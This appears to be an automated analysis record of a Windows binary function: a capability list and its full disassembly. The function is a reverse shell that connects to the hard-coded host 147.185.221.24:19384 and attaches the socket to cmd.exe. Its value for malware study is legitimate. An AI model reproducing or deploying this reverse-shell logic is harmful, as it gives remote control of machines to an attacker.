Function at 0x40175c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x80]
call fcn.00401c10
call fcn.00401722
lea rax, [0x00408980]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x4017b4
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rcx, str.WSAStartup_failed:__lu_n
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x401afb
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov rdx, rax
lea rax, [0x00408b18]
mov qword [rax], rdx
lea rax, [0x00408b18]
mov rax, qword [rax]
cmp rax, 0xffffffffffffffff
jne 0x401821
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rcx, str.Error_creating_socket:__lu_n
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x401afb
lea rcx, str.147.185.221.24
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
jne 0x401868
lea rdx, str.147.185.221.24
lea rcx, str.Error_resolving_host:__s_n
call sub.msvcrt.dll_printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x401afb
mov rax, qword [rbp + 0xd8]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov ecx, dword [rax]
mov rax, qword [sym.imp.WS2_32.dll_inet_ntoa]
call rax
mov r8, rax
mov edx, 0x10
lea rcx, str.147.185.221.24
mov rax, qword [sym.imp.msvcrt.dll_strcpy_s]
call rax
lea rax, [0x00408bb0]
mov word [rax], 2
lea rcx, str.19384
call sub.msvcrt.dll_atoi
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov edx, eax
lea rax, [0x00408bb0]
mov word [rax + 2], dx
lea rcx, str.147.185.221.24
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov edx, eax
lea rax, [0x00408bb0]
mov dword [rax + 4], edx
lea rax, [0x00408b18]
mov rcx, qword [rax]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rax, [0x00408bb0]
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
cmp eax, 0xffffffff
jne 0x401971
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rcx, str.Error_connecting_to_server:__lu_n
call sub.msvcrt.dll_printf
lea rax, [0x00408b18]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x401afb
mov r8d, 0x68
mov edx, 0
lea rax, [0x00408b40]
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [0x00408b40]
mov dword [rax], 0x68
lea rax, [0x00408b40]
mov dword [rax + 0x3c], 0x101
lea rax, [0x00408b18]
mov rax, qword [rax]
mov rdx, rax
lea rax, [0x00408b40]
mov qword [rax + 0x60], rdx
lea rax, [0x00408b40]
mov rdx, qword [rax + 0x60]
lea rax, [0x00408b40]
mov qword [rax + 0x58], rdx
lea rax, [0x00408b40]
mov rdx, qword [rax + 0x58]
lea rax, [0x00408b40]
mov qword [rax + 0x50], rdx
movabs rax, 0x6578652e646d63
mov qword [rbp - 0x30], rax
lea rdx, [rbp - 0x28]
mov eax, 0
mov ecx, 0x1e
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov word [rdx], ax
add rdx, 2
mov byte [rdx], al
add rdx, 1
lea rax, [0x00408b40]
mov word [rax + 0x40], 0
mov dword [rbp + 0xd4], 0x8000000
lea rax, [rbp - 0x30]
lea rdx, [0x00408b20]
mov qword [rsp + 0x48], rdx
lea rdx, [0x00408b40]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov edx, dword [rbp + 0xd4]
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x401ad7
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error_creating_process:__lu_n
call sub.msvcrt.dll_printf
lea rax, [0x00408b18]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x401afb
lea rax, [0x00408b18]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x168
pop rdi
pop rbp
ret